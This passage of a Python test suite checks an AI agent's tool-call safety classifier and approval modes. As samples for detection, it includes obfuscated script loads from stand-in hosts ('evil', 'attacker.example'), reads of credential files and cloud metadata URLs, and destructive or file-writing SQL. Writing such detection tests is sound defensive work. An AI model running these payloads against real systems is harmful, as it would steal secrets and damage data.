assert rh("<script>const o={k:'src'}; img[o.k]='https://evil/x'</script>") is True
|
|
assert rh("<script>const o={k:'color'}; el[o.k]='red'</script>") is False
|
|
# ES module loads of a remote/root URL need approval; a relative specifier
|
|
# (dynamic or static) stays a static canvas.
|
|
assert rh("<script>import('https://evil/x.js')</script>") is True
|
|
assert rh("<script type=module>import 'https://evil/x.js'</script>") is True
|
|
assert rh("<script type=module>import { a } from '/mod.js'</script>") is True
|
|
assert rh("<script>import('./local.js')</script>") is False
|
|
assert rh("<script type=module>import { a } from './util.js'</script>") is False
|
|
# An entity-obfuscated CSS URL is a network load after the browser decodes it.
|
|
assert rh('<div style="background:url(https://evil/x)"></div>') is True
|
|
assert rh('<div style="background:blue">& local</div>') is False
|
|
# Module re-exports of a remote/root URL fetch that module; relative stays static.
|
|
assert rh("<script type=module>export * from 'https://evil/x.js'</script>") is True
|
|
assert rh("<script type=module>export {a} from '/mod.js'</script>") is True
|
|
assert rh("<script type=module>export {a} from './util.js'</script>") is False
|
|
assert rh("<script>export const config = 1;</script>") is False
|
|
# A reassigned computed-key alias is position-dependent, so it fails closed on
|
|
# a network value but a same-valued redefinition stays resolvable/static.
|
|
assert rh("<script>var k='src'; img[k]='https://evil/x'; var k='title';</script>") is True
|
|
assert rh("<script>var k='src'; var k='src'; img[k]='./local.png'</script>") is False
|
|
assert (
|
|
rh(
|
|
"<script>frame.setAttribute(name, "
|
|
"'data:text/html;base64,PGltZyBzcmM9aHR0cHM6Ly9ldmlsL3g+')</script>"
|
|
)
|
|
is True
|
|
)
|
|
assert (
|
|
rh("<script>frame.setAttribute(name, 'data:image/png;base64,iVBORw0KGgo=')</script>")
|
|
is False
|
|
)
|
|
assert (
|
|
rh(
|
|
"<script>const name='src'; frame.setAttribute(name, "
|
|
"'data:text/html;base64,PGltZyBzcmM9aHR0cHM6Ly9ldmlsL3g+')</script>"
|
|
)
|
|
is True
|
|
)
|
|
assert rh("<script>with(new Image()){src='https://evil/x'}</script>") is True
|
|
assert rh("<script>with(new Image()){src='./local.png'}</script>") is False
|
|
assert rh("<script>with(obj){let src='https://evil/x'}</script>") is False
|
|
assert rh("<script>with(new Image()) src='https://evil/x'</script>") is True
|
|
assert rh("<script>with(new Image()) src='./local.png'</script>") is False
|
|
assert rh("<script>with(obj) let src='https://evil/x'</script>") is False
|
|
# A computed bracket key spliced from string fragments on a global host object.
|
|
assert rh("<script>window['fet'+'ch']('https://attacker.example')</script>") is True
|
|
assert rh("<script>self['open' + '']('https://x')</script>") is True
|
|
# A computed key on a plain object (not a global host) stays a static canvas.
|
|
assert rh("<script>var o={}; o['a'+'b']=1</script>") is False
|
|
assert rh("<script>var o={}; o['fetch']=1</script>") is False
|
|
assert rh("<script>window['isFetching']=false</script>") is False
|
|
assert rh("<script>window['openState']=false</script>") is False
|
|
# Local and fragment setAttribute values do not leave the canvas.
|
|
assert (
|
|
rh(
|
|
"<script>const i=document.createElement('img');"
|
|
"i.setAttribute('src','./local.png')</script>"
|
|
)
|
|
is False
|
|
)
|
|
assert rh('<iframe src="data:text/html,<img src=https://evil/x>"></iframe>') is True
|
|
assert (
|
|
rh('<iframe src="data:text/html,%3Cimg%20src%3Dhttps%3A%2F%2Fevil%2Fx%3E"></iframe>')
|
|
is True
|
|
)
|
|
assert (
|
|
rh('<iframe src="data:text/html;base64,PGltZyBzcmM9aHR0cHM6Ly9ldmlsL3g+"></iframe>') is True
|
|
)
|
|
assert rh('<iframe src="data:text/html,<h1>Local</h1>"></iframe>') is False
|
|
assert rh('<iframe src="data:text/plain,<img src=https://evil/x>"></iframe>') is False
|
|
assert rh('<img src="data:image/png;base64,iVBORw0KGgo=">') is False
|
|
assert rh('<object data="data:image/svg+xml,<image href=https://evil/x>"></object>') is True
|
|
assert rh('<iframe src="data:text/html;base64,not-valid-***"></iframe>') is True
|
|
# A declared charset is honoured so a UTF-16 document is decoded like the
|
|
# browser would; an unknown charset fails closed instead of hiding the load.
|
|
assert (
|
|
rh(
|
|
'<iframe src="data:text/html;charset=utf-16le;base64,'
|
|
'PABpAG0AZwAgAHMAcgBjAD0AaAB0AHQAcABzADoALwAvAGUAdgBpAGwALwB4AD4A"></iframe>'
|
|
)
|
|
is True
|
|
)
|
|
assert (
|
|
rh(
|
|
'<iframe src="data:text/html;charset=utf-16le;base64,'
|
|
'PABoADEAPgBMAG8AYwBhAGwAPAAvAGgAMQA+AA=="></iframe>'
|
|
)
|
|
is False
|
|
)
|
|
assert (
|
|
rh('<iframe src="data:text/html;charset=nonesuch,%3Cimg%3E"></iframe>') is True
|
|
) # unknown charset fails closed
|
|
assert rh("<script>frame.src='data:text/html,<img src=https://evil/x>'</script>") is True
|
|
assert (
|
|
rh(
|
|
"<script>const i=document.createElement('img');"
|
|
"i.setAttribute?.('src','./local.png')</script>"
|
|
)
|
|
is False
|
|
)
|
|
assert (
|
|
rh(
|
|
"<script>const i=document.createElement('img');"
|
|
"i.setAttribute('s'+'rc','./local.png')</script>"
|
|
)
|
|
is False
|
|
)
|
|
assert rh("<script>const i={};i.setAttribute(name,'./local.png')</script>") is False
|
|
assert rh("<script>const i={};i.setAttribute('class','https://evil/x')</script>") is False
|
|
assert rh("<script>const i={};i.setAttribute('disabled')</script>") is False
|
|
assert rh("<script>const i={};i.src='./local.png'</script>") is False
|
|
assert (
|
|
rh("<script>const a=document.createElement('a');a.setAttribute('href','#section')</script>")
|
|
is False
|
|
)
|
|
assert (
|
|
rh(
|
|
"<script>const i=document.createElement('img');"
|
|
"i.setAttribute('src',`data:image/png;base64,AA==`)</script>"
|
|
)
|
|
is False
|
|
)
|
|
assert (
|
|
rh(
|
|
"<script>const i=document.createElement('img');"
|
|
"i.setAttribute('src','/' + 'api/image')</script>"
|
|
)
|
|
is True
|
|
)
|
|
assert (
|
|
rh("<script>const i=document.createElement('img');i.setAttribute('src',source)</script>")
|
|
is True
|
|
)
|
|
assert rh("<script>/* just a note */ var x = 1</script>") is False # comment only
|
|
# A meta-refresh with a url navigates the frame to an external origin.
|
|
assert rh('<meta http-equiv="refresh" content="0;url=https://example.com">') is True
|
|
assert rh("<meta http-equiv='refresh' content='0; url=https://x'>") is True
|
|
assert rh('<meta http-equiv="refresh" content="30">') is False # self-reload, no url
|
|
assert rh('<meta charset="utf-8"><h1>Hi</h1>') is False # ordinary meta stays safe
|
|
|
|
|
|
def test_unknown_tools_fail_closed():
|
|
assert is_potentially_unsafe_tool_call("mystery_tool", {}) is True
|
|
|
|
|
|
def test_is_always_safe_tool():
|
|
from core.inference.tools import is_always_safe_tool
|
|
for name in ("web_search", "search_knowledge_base"):
|
|
assert is_always_safe_tool(name) is True
|
|
# render_html is no longer unconditionally safe: a networked canvas can prompt,
|
|
# which cannot be judged before its arguments stream.
|
|
for name in ("python", "terminal", "mystery_tool", "mcp__srv__read", "render_html"):
|
|
assert is_always_safe_tool(name) is False
|
|
|
|
|
|
@pytest.mark.parametrize(
|
|
("tool", "unsafe"),
|
|
[
|
|
("get_weather", False),
|
|
("list_files", False),
|
|
("search", False),
|
|
("send_email", True),
|
|
("create_issue", True),
|
|
("delete_row", True),
|
|
("get_or_create_issue", True), # mutating verb overrides read prefix
|
|
("read_and_delete_file", True),
|
|
("find_and_update_row", True),
|
|
("get_and_commit_changes", True), # commit/save/archive are mutating
|
|
("read_and_save_file", True),
|
|
("list_and_archive", True),
|
|
("list_and_clone_repo", True), # clone/checkout/comment are mutating
|
|
("fetch_and_comment_issue", True),
|
|
("get_and_checkout_branch", True),
|
|
("read_and_append_file", True), # append/prepend are mutating
|
|
("prepend_line", True),
|
|
("get_and_upsert_row", True), # upsert/assign are mutating
|
|
("list_and_assign_issue", True),
|
|
("read_and_copy_file", True), # copy-style verbs create/overwrite state
|
|
("get_and_copy_resource", True),
|
|
("read_and_duplicate_entry", True),
|
|
("fetch_and_download_asset", True), # download writes local state
|
|
("list_and_export_data", True), # import/export/backup/restore/snapshot
|
|
("get_and_snapshot_volume", True),
|
|
("get_and_mark_read", True), # mark/subscribe change external state
|
|
("get_and_subscribe", True),
|
|
("list_and_unsubscribe", True),
|
|
("get_and_reply_email", True), # reply/notify send/change external state
|
|
("list_and_notify_users", True),
|
|
("read_secret", True), # credential noun: a read that discloses a secret
|
|
("list_tokens", True),
|
|
("get_credentials", True),
|
|
("fetch_api_key", True), # scoped *_key noun
|
|
("read_access_key", True),
|
|
("get_password", True),
|
|
("read_passphrase", True),
|
|
("read_report", False), # plain read stays safe
|
|
("get_primary_key", False), # a schema key is not a credential
|
|
("search_keyboard_shortcuts", False), # 'key' inside another word stays safe
|
|
("list_bookmarks", False), # 'mark' substring in a token stays safe
|
|
("list_notifications", False), # 'notify' is a different token than 'notifications'
|
|
],
|
|
)
|
|
def test_mcp_classifier(tool, unsafe):
|
|
name = f"{MCP_TOOL_PREFIX}srv1__{tool}"
|
|
assert is_potentially_unsafe_tool_call(name, {}) is unsafe
|
|
|
|
|
|
@pytest.mark.parametrize(
|
|
("args", "unsafe"),
|
|
[
|
|
({"path": "/etc/passwd"}, True), # read-named tool at a credential path
|
|
({"path": "../../.ssh/id_rsa"}, True),
|
|
({"nested": {"file": "~/.aws/credentials"}}, True),
|
|
({"name": "OPENAI_API_KEY"}, True), # explicit credential env-var read
|
|
({"name": "AWS_SECRET_ACCESS_KEY"}, True),
|
|
({"key": "DATABASE_PASSWORD"}, True),
|
|
(
|
|
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"},
|
|
True,
|
|
), # AWS instance-metadata host
|
|
(
|
|
{"url": "http://metadata.google.internal/computeMetadata/v1/"},
|
|
True,
|
|
), # GCP metadata host
|
|
({"path": "notes.txt"}, False), # ordinary path stays safe
|
|
({"path": "data/report.csv"}, False),
|
|
({"name": "PATH"}, False), # a non-secret env var stays safe
|
|
({"name": "HOME"}, False),
|
|
({"url": "https://example.com/api"}, False), # ordinary URL stays safe
|
|
({"url": "http://localhost:8080/health"}, False), # localhost app stays safe
|
|
],
|
|
)
|
|
def test_mcp_sensitive_arguments(args, unsafe):
|
|
name = f"{MCP_TOOL_PREFIX}fs__read_file"
|
|
assert is_potentially_unsafe_tool_call(name, args) is unsafe
|
|
|
|
|
|
@pytest.mark.parametrize(
|
|
("args", "unsafe"),
|
|
[
|
|
({"query": "DELETE FROM runs"}, True), # read-named tool, mutating query
|
|
({"sql": "DROP TABLE users"}, True),
|
|
({"query": "UPDATE t SET x=1"}, True),
|
|
({"query": "INSERT INTO t VALUES (1)"}, True),
|
|
({"query": "SELECT * FROM runs"}, False), # read query stays safe
|
|
({"query": "how to delete old files"}, False), # NL text with 'delete' stays safe
|
|
({"query": "find the created_at column"}, False), # 'created' substring stays safe
|
|
({"query": "DELETE/**/FROM runs"}, True), # inline SQL comment as whitespace
|
|
({"query": "UPDATE/**/t SET x=1"}, True),
|
|
({"query": "DROP/**/TABLE users"}, True),
|
|
({"query": "SELECT * FROM runs -- delete later"}, False), # trailing comment stays safe
|
|
({"query": "COPY users FROM '/tmp/u.csv'"}, True), # bulk load writes the table
|
|
({"query": "COPY users (id, name)\nFROM STDIN"}, True), # multiline COPY FROM
|
|
({"query": "COPY (SELECT 1) TO '/tmp/o.csv'"}, True), # COPY TO writes a server file
|
|
({"query": "SELECT copy_count FROM t"}, False), # 'copy' substring column stays safe
|
|
({"query": "mutation { deleteIssue(id: 1) }"}, True), # GraphQL mutation
|
|
({"query": "mutation DelIssue { deleteIssue(id: 1) }"}, True), # named GraphQL mutation
|
|
({"query": "mutation # note\n { deleteIssue(id: 1) }"}, True), # comment before body
|
|
({"query": "mutation # c\n Del { deleteIssue(id: 1) }"}, True), # comment before name
|
|
({"query": "query { issue(id: 1) { title } }"}, False), # GraphQL read query stays safe
|
|
({"query": "{ issue(id: 1) { title } }"}, False), # shorthand GraphQL query stays safe
|
|
({"query": "query # note\n { issue(id: 1) }"}, False), # commented read query stays safe
|
|
({"query": "CREATE OR REPLACE VIEW v AS SELECT 1"}, True), # DDL with a modifier
|
|
({"query": "CREATE UNIQUE INDEX idx ON t(x)"}, True), # DDL with UNIQUE
|
|
({"query": "CREATE TEMP TABLE t (id int)"}, True), # DDL with TEMP
|
|
({"query": "CREATE MATERIALIZED VIEW mv AS SELECT 1"}, True), # materialized view DDL
|
|
({"query": "CREATE FUNCTION f() RETURNS int AS $$ $$"}, True), # function DDL
|
|
({"query": "ALTER SYSTEM SET work_mem = '1GB'"}, True), # persists server config
|
|
({"query": "alter system reset all"}, True), # ALTER SYSTEM RESET
|
|
({"query": "SELECT * FROM system_logs"}, False), # 'system' as a table name stays safe
|
|
({"query": "SELECT * FROM created_view"}, False), # 'create' substring stays safe
|
|
({"query": "CALL delete_all_users()"}, True), # stored procedure invocation
|
|
({"query": "EXEC purge_queue"}, True), # EXEC procedure
|
|
({"query": "EXECUTE sp_drop"}, True), # EXECUTE procedure
|
|
({"query": "VACUUM INTO 'backup.db'"}, True), # VACUUM rewrites the database
|
|
({"query": "please call me back later"}, False), # NL 'call' stays safe
|
|
({"query": "ATTACH DATABASE '/tmp/x.db' AS x"}, True), # attaches a database file
|
|
({"query": "DETACH DATABASE x"}, True), # detaches a database
|
|
({"query": "PRAGMA user_version = 42"}, True), # write-form PRAGMA
|
|
({"query": "PRAGMA journal_mode=WAL"}, True), # write-form PRAGMA (no spaces)
|
|
({"query": "PRAGMA foreign_keys(0)"}, True), # call-form PRAGMA write
|
|
({"query": "SELECT load_extension('/tmp/evil.so')"}, True), # loads native code
|
|
({"query": "PRAGMA journal_mode"}, False), # read-form PRAGMA stays safe
|
|
({"query": "can you attach the report to the email"}, False), # NL 'attach' stays safe
|
|
({"query": "ATTACH '/tmp/x.db' AS x"}, True), # ATTACH without DATABASE keyword
|
|
({"query": "PRAGMA main.user_version = 1"}, True), # schema-qualified write PRAGMA
|
|
({"query": "attach it as draft"}, False), # NL 'attach ... as' stays safe
|
|
({"query": "DROP FUNCTION f()"}, True), # DROP of a non-table object
|
|
({"query": "ALTER INDEX idx RENAME TO idx2"}, True), # ALTER of a non-table object
|
|
({"query": "DROP MATERIALIZED VIEW mv"}, True), # DROP with a modifier
|
|
({"query": "ALTER USER bob WITH PASSWORD 'x'"}, True), # ALTER USER mutates
|
|
({"query": "SELECT dropped_at FROM t"}, False), # 'drop' substring column stays safe
|
|
({"query": "mutation M @audit { deleteIssue(id: 1) }"}, True), # directive GraphQL mutation
|
|
(
|
|
{"query": "query Q @cached { issue(id: 1) { title } }"},
|
|
False,
|
|
), # directive GraphQL read stays safe
|
|
({"query": 'UPDATE "users" SET admin=1'}, True), # double-quoted UPDATE target
|
|
({"query": "UPDATE public.users SET admin=1"}, True), # schema-qualified UPDATE
|
|
({"query": "UPDATE ONLY public.users SET admin=1"}, True), # ONLY-qualified UPDATE
|
|
({"query": "UPDATE `users` SET admin=1"}, True), # backtick-quoted UPDATE
|
|
({"query": "UPDATE [users] SET admin=1"}, True), # bracket-quoted UPDATE
|
|
({"query": "please update the documentation set"}, False), # NL 'update ... set' stays safe
|
|
({"query": "SELECT pg_terminate_backend(123)"}, True), # state-changing SQL function
|
|
({"query": "SELECT setval('s', 1)"}, True), # sequence mutation function
|
|
({"query": "SELECT pg_write_file('/tmp/p', 'x')"}, True), # server-side file write
|
|
({"query": "SELECT lo_export(123, '/tmp/p')"}, True), # large-object export to a file
|
|
({"query": "SELECT setval_col FROM t"}, False), # 'setval' column prefix stays safe
|
|
(
|
|
{"query": "SELECT secret INTO OUTFILE '/tmp/leak' FROM users"},
|
|
True,
|
|
), # INTO OUTFILE write
|
|
({"query": "SELECT x INTO DUMPFILE '/tmp/d' FROM t"}, True), # INTO DUMPFILE write
|
|
(
|
|
{"query": "SELECT count(*) INTO cnt FROM t"},
|
|
False,
|
|
), # PL/pgSQL SELECT INTO var stays safe
|
|
({"query": "REFRESH MATERIALIZED VIEW mv"}, True), # materialized view rewrite
|
|
({"query": "REINDEX INDEX idx"}, True), # index rebuild
|
|
({"query": "REINDEX TABLE t"}, True), # table reindex
|
|
({"query": "SELECT refresh_count FROM t"}, False), # 'refresh' column stays safe
|
|
({"query": "please refresh the page"}, False), # NL 'refresh' stays safe
|
|
({"query": "COMMENT ON TABLE users IS 'owned'"}, True), # catalog metadata write
|
|
({"query": "LOCK TABLE users IN ACCESS EXCLUSIVE MODE"}, True), # explicit lock
|
|
({"query": "SECURITY LABEL FOR x ON TABLE t IS 'z'"}, True), # security label write
|
|
({"query": "CREATE POLICY p ON accounts USING (true)"}, True), # row-security policy DDL
|
|
({"query": "SELECT comment FROM t"}, False), # 'comment' column stays safe
|
|
({"query": "SELECT * FROM locks"}, False), # 'locks' table stays safe
|
|
({"query": "SELECT nextval('billing_seq')"}, True), # sequence advance mutates
|
|
({"query": "SELECT pg_advisory_lock(42)"}, True), # advisory lock changes state
|
|
({"query": "SELECT pg_notify('jobs', 'wake')"}, True), # server-side notification
|
|
({"query": "SELECT set_config('x', 'y', false)"}, True), # session config write
|
|
({"query": "SELECT nextval_col FROM t"}, False), # 'nextval' column prefix stays safe
|
|
({"query": "TRUNCATE users"}, True), # multi-char table name (bare TRUNCATE)
|
|
({"query": "TRUNCATE TABLE accounts"}, True), # multi-char TRUNCATE TABLE
|
|
({"query": 'TRUNCATE TABLE "users"'}, True), # quoted TRUNCATE target
|
|
({"query": "TRUNCATE accounts RESTART IDENTITY"}, True), # TRUNCATE with options
|
|
({"query": "SELECT truncate_log FROM t"}, False), # 'truncate' column stays safe
|
|
({"query": "UPDATE users AS u SET admin=1"}, True), # aliased UPDATE target (AS)
|
|
({"query": 'UPDATE "users" AS u SET x=1'}, True), # quoted+aliased UPDATE
|
|
({"query": "UPDATE public.users AS u SET x=1"}, True), # schema-qualified aliased UPDATE
|
|
({"query": "SELECT * FROM users AS u"}, False), # aliased SELECT stays safe
|
|
({"query": "please update the documentation set"}, False), # NL, no AS, stays safe
|
|
({"query": "GRANT SELECT ON t TO u"}, True), # privilege grant (multi-word)
|
|
({"query": "REVOKE ALL ON t FROM u"}, True), # privilege revoke (multi-word)
|
|
({"query": "SELECT * FROM grants"}, False), # 'grants' table stays safe
|
|
({"url": "http://x", "method": "DELETE"}, True), # mutating HTTP verb arg
|
|
({"method": "POST"}, True),
|
|
({"verb": "PUT"}, True), # alternate method-key name
|
|
({"method": "GET"}, False), # read HTTP verb stays safe
|
|
({"method": "HEAD"}, False),
|
|
],
|
|
)
|
|
def test_mcp_mutating_arguments(args, unsafe):
|
|
name = f"{MCP_TOOL_PREFIX}db__query_database"
|
|
assert is_potentially_unsafe_tool_call(name, args) is unsafe
|
|
|
|
|
|
# ── loop behavior ───────────────────────────────────────────────────
|
|
|
|
_DEFAULT_TOOLS = [
|
|
{"type": "function", "function": {"name": "python"}},
|
|
{"type": "function", "function": {"name": "web_search"}},
|
|
]
|
|
|
|
|
|
class _FakeExecuteTool:
|
|
def __init__(self):
|
|
self.calls = []
|
|
self.disable_sandbox_seen = []
|
|
|
|
def __call__(
|
|
self,
|
|
name,
|
|
arguments,
|
|
*,
|
|
cancel_event = None,
|
|
timeout = None,
|
|
session_id = None,
|
|
thread_id = None,
|
|
rag_scope = None,
|
|
disable_sandbox = False,
|
|
):
|
|
self.calls.append((name, arguments))
|
|
self.disable_sandbox_seen.append(disable_sandbox)
|
|
return f"RESULT[{name}]"
|
|
|
|
|
|
def _tool_call(name, args_json):
|
|
return f'<tool_call>{{"name": "{name}", "arguments": {args_json}}}</tool_call>'
|
|
|
|
|
|
def _multi_turn(turns):
|
|
turn_iter = iter(turns)
|
|
|
|
def _gen(_messages):
|
|
try:
|
|
yield next(turn_iter)
|
|
except StopIteration:
|
|
return
|
|
|
|
return _gen
|
|
|
|
|
|
def _drive(turns, decisions, **loop_kwargs):
|
|
"""Run the loop, resolving each gated tool_start with the next decision."""
|
|
decision_iter = iter(decisions)
|
|
exec_fn = _FakeExecuteTool()
|
|
# A per-call session id so a leaked pending approval from another test can
|
|
# never collide with this run's approval registry entries.
|
|
session = f"{_SESSION}-{uuid.uuid4().hex}"
|
|
gen = run_safetensors_tool_loop(
|
|
single_turn = _multi_turn(turns),
|
|
messages = [{"role": "user", "content": "hi"}],
|
|
tools = _DEFAULT_TOOLS,
|
|
execute_tool = exec_fn,
|
|
session_id = session,
|
|
**loop_kwargs,
|
|
)
|
|
events = []
|
|
for ev in gen:
|
|
events.append(ev)
|
|
if ev["type"] == "tool_start" and ev.get("awaiting_confirmation"):
|
|
resolve_tool_decision(ev["approval_id"], next(decision_iter), session_id = session)
|
|
return events, exec_fn
|
|
|
|
|
|
def _tool_starts(events):
|
|
return [e for e in events if e["type"] == "tool_start"]
|
|
|
|
|
|
def _diag(events, exec_fn):
|
|
"""A compact dump of what the loop actually did, attached to the loop-driving
|
|
assertions so a full-suite-only failure on CI (which does not reproduce when
|
|
the file runs alone) reports the real event stream instead of a bare diff."""
|
|
return (
|
|
f"calls={exec_fn.calls} sandbox_seen={exec_fn.disable_sandbox_seen} "
|
|
f"events={[(e.get('type'), e.get('awaiting_confirmation'), e.get('tool_name')) for e in events]}"
|
|
)
|
|
|
|
|
|
def test_auto_mode_does_not_gate_safe_calls():
|
|
events, exec_fn = _drive(
|
|
[_tool_call("python", '{"code": "print(1)"}'), "final"],
|
|
[],
|
|
confirm_tool_calls = True,
|
|
permission_mode = "auto",
|
|
)
|
|
starts = _tool_starts(events)
|
|
assert starts and starts[0]["awaiting_confirmation"] is False, _diag(events, exec_fn)
|
|
assert starts[0]["approval_id"] == ""
|
|
assert exec_fn.calls == [("python", {"code": "print(1)"})], _diag(events, exec_fn)
|
|
assert exec_fn.disable_sandbox_seen == [False], _diag(
|
|
events, exec_fn
|
|
) # sandbox stays on in auto
|
|
|
|
|
|
def test_auto_mode_gates_unsafe_calls():
|
|
events, exec_fn = _drive(
|
|
[_tool_call("python", '{"code": "import os; os.remove(\\"x\\")"}'), "final"],
|
|
["allow"],
|
|
confirm_tool_calls = True,
|
|
permission_mode = "auto",
|
|
)
|
|
starts = _tool_starts(events)
|
|
assert starts and starts[0]["awaiting_confirmation"] is True, _diag(events, exec_fn)
|
|
assert starts[0]["approval_id"]
|
|
assert len(exec_fn.calls) == 1, _diag(events, exec_fn)
|
|
assert exec_fn.disable_sandbox_seen == [False], _diag(events, exec_fn)
|
|
|
|
|
|
def test_ask_mode_gates_even_safe_calls():
|
|
events, _ = _drive(
|
|
[_tool_call("python", '{"code": "print(1)"}'), "final"],
|
|
["allow"],
|
|
confirm_tool_calls = True,
|
|
permission_mode = "ask",
|
|
)
|
|
starts = _tool_starts(events)
|
|
assert starts and starts[0]["awaiting_confirmation"] is True
|
|
|
|
|
|
def test_unset_mode_behaves_as_ask():
|
|
events, _ = _drive(
|
|
[_tool_call("python", '{"code": "print(1)"}'), "final"],
|
|
["allow"],
|
|
confirm_tool_calls = True,
|
|
)
|
|
starts = _tool_starts(events)
|
|
assert starts and starts[0]["awaiting_confirmation"] is True
|
|
|
|
|
|
def test_off_mode_never_gates_and_keeps_sandbox():
|
|
# "Off": no prompts even for unsafe calls, but the sandbox stays on.
|
|
events, exec_fn = _drive(
|
|
[_tool_call("python", '{"code": "import os; os.remove(\\"x\\")"}'), "final"],
|
|
[],
|
|
confirm_tool_calls = True, # off must win over a stray confirm flag
|
|
permission_mode = "off",
|
|
)
|
|
starts = _tool_starts(events)
|
|
assert starts and starts[0]["awaiting_confirmation"] is False, _diag(events, exec_fn)
|
|
assert starts[0]["approval_id"] == ""
|
|
assert exec_fn.disable_sandbox_seen == [False], _diag(events, exec_fn)
|
|
|
|
|
|
def test_full_mode_never_gates_and_drops_sandbox():
|
|
events, exec_fn = _drive(
|
|
[_tool_call("python", '{"code": "import os; os.remove(\\"x\\")"}'), "final"],
|
|
[],
|
|
confirm_tool_calls = True, # full must win over the confirm gate
|
|
permission_mode = "full",
|
|
)
|
|
starts = _tool_starts(events)
|
|
assert starts and starts[0]["awaiting_confirmation"] is False, _diag(events, exec_fn)
|
|
assert exec_fn.disable_sandbox_seen == [True], _diag(events, exec_fn)
|
|
|
|
|
|
def test_bypass_flag_implies_full_mode():
|
|
# Legacy callers that only set bypass_permissions keep the same behavior.
|
|
events, exec_fn = _drive(
|
|
[_tool_call("python", '{"code": "print(1)"}'), "final"],
|
|
[],
|
|
confirm_tool_calls = True,
|
|
bypass_permissions = True,
|
|
)
|
|
starts = _tool_starts(events)
|
|
assert starts and starts[0]["awaiting_confirmation"] is False, _diag(events, exec_fn)
|
|
assert exec_fn.disable_sandbox_seen == [True], _diag(events, exec_fn)
|
|
|
|
|
|
def test_bypass_permissions_folds_to_full_on_request_models():
|
|
# A legacy bypass caller that also sends a stale ask/auto mode normalizes to
|
|
# full, so the route guards (which reject ask/auto) don't 400 the request.
|
|
for cls in (ChatCompletionRequest, AnthropicMessagesRequest):
|
|
req = cls(
|
|
messages = [{"role": "user", "content": "hi"}],
|
|
bypass_permissions = True,
|
|
permission_mode = "auto",
|
|
)
|
|
assert req.permission_mode == "full"
|
|
assert req.bypass_permissions is True
|
|
|
|
|
|
def test_unknown_permission_mode_normalizes_to_ask_on_request_models():
|
|
# An unrecognized mode from a newer UI/client must degrade to the safest gate
|
|
# ("ask") at the API boundary instead of a 422, so the forward-compat fallback
|
|
# the tool loops already apply (unknown -> ask) is reachable. None stays unset;
|
|
# the four known modes pass through untouched.
|
|
for cls in (ChatCompletionRequest, AnthropicMessagesRequest):
|
|
for unknown in ("paranoid", "readonly", "bogus", ""):
|
|
req = cls(
|
|
messages = [{"role": "user", "content": "hi"}],
|
|
permission_mode = unknown,
|
|
)
|
|
assert req.permission_mode == "ask", (cls.__name__, unknown)
|
|
assert (
|
|
cls(messages = [{"role": "user", "content": "hi"}], permission_mode = None).permission_mode
|
|
is None
|
|
)
|
|
for known in ("ask", "auto", "off", "full"):
|
|
req = cls(
|
|
messages = [{"role": "user", "content": "hi"}],
|
|
permission_mode = known,
|
|
)
|
|
# 'full' folds to bypass but the mode string is preserved.
|
|
assert req.permission_mode == known, (cls.__name__, known)
|
|
|
|
|
|
def test_ask_auto_self_enable_confirm_on_chat_request():
|
|
# "Ask" gates every call, so a direct /chat/completions caller that requests
|
|
# ask but omits the legacy confirm flag self-enables it when Unsloth's own tool
|
|
# loop is requested. Only the router's loop-entry signals count (enable_tools /
|
|
# mcp_enabled); enabled_tools alone never starts the loop.
|
|
for loop in ({"enable_tools": True}, {"mcp_enabled": True}):
|
|
req = ChatCompletionRequest(
|
|
messages = [{"role": "user", "content": "hi"}],
|
|
permission_mode = "ask",
|
|
**loop,
|
|
)
|
|
assert req.confirm_tool_calls is True
|
|
# "auto" is NOT folded: it only prompts for a classifier-flagged call, so
|
|
# leaving confirm unset lets the route apply the safe-only-selection exception
|
|
# (a safe-only auto request needs no stream) instead of an explicit confirm
|
|
# forcing stream=true. The mode still drives the loop's per-call gate.
|
|
for loop in ({"enable_tools": True}, {"mcp_enabled": True}):
|
|
req = ChatCompletionRequest(
|
|
messages = [{"role": "user", "content": "hi"}],
|
|
permission_mode = "auto",
|
|
**loop,
|
|
)
|
|
assert req.confirm_tool_calls is None
|
|
# enabled_tools by itself is a passthrough filter, not a loop-entry signal:
|
|
# a client-tool passthrough that also lists enabled_tools must route verbatim
|
|
# (confirm stays unset), else the confirm-without-stream guard 400s it.
|
|
for mode in ("ask", "auto"):
|
|
req = ChatCompletionRequest(
|
|
messages = [{"role": "user", "content": "hi"}],
|
|
permission_mode = mode,
|
|
enabled_tools = ["terminal"],
|
|
tools = [{"type": "function", "function": {"name": "f"}}],
|
|
)
|
|
assert req.confirm_tool_calls is None
|
|
# An explicit confirm_tool_calls=False wins over the ask mode (opts out of the
|
|
# gate), matching _permission_mode_confirm and the Anthropic pre-switch guard;
|
|
# the fold only self-enables when the flag is unset, so a caller cannot get a
|
|
# different answer on the chat path than the Anthropic path for the same body.
|
|
req = ChatCompletionRequest(
|
|
messages = [{"role": "user", "content": "hi"}],
|
|
permission_mode = "ask",
|
|
enable_tools = True,
|
|
confirm_tool_calls = False,
|
|
)
|
|
assert req.confirm_tool_calls is False
|
|
# A plain client-tool passthrough (client-supplied tools that Unsloth does not
|
|
# execute) must NOT self-enable confirm, or the route rejects the passthrough.
|
|
req = ChatCompletionRequest(
|
|
messages = [{"role": "user", "content": "hi"}],
|
|
permission_mode = "ask",
|
|
tools = [{"type": "function", "function": {"name": "f"}}],
|
|
)
|
|
assert req.confirm_tool_calls is None
|
|
# ask/auto without any tool request has nothing to gate; confirm stays unset.
|
|
req = ChatCompletionRequest(
|
|
messages = [{"role": "user", "content": "hi"}],
|
|
permission_mode = "ask",
|
|
)
|
|
assert req.confirm_tool_calls is None
|
|
# Legacy callers with no permission_mode keep their confirm flag untouched.
|
|
req = ChatCompletionRequest(
|
|
messages = [{"role": "user", "content": "hi"}],
|
|
confirm_tool_calls = False,
|
|
)
|
|
assert req.confirm_tool_calls is False
|
|
# External-provider requests are not folded (the provider branch rejects
|
|
# confirm_tool_calls with tools, and permission_mode is a local concept).
|
|
for extra in ({"provider_id": "p1"}, {"provider_type": "openai"}):
|
|
req = ChatCompletionRequest(
|
|
messages = [{"role": "user", "content": "hi"}],
|
|
permission_mode = "ask",
|
|
enable_tools = True,
|
|
**extra,
|
|
)
|
|
assert req.confirm_tool_calls is None
|
|
|
|
|
|
def test_permission_mode_confirm_derivation():
|
|
# The route derives the effective confirm gate from permission_mode so that a
|
|
# tool loop forced on by CLI policy (no request-level tool flag) still honors
|
|
# the documented "unset behaves as ask" default.
|
|
from routes.inference import _permission_mode_confirm
|
|
|
|
def req(**kw):
|
|
return ChatCompletionRequest(messages = [{"role": "user", "content": "hi"}], **kw)
|
|
|
|
# An explicit confirm flag always wins (True gates, False opts out).
|
|
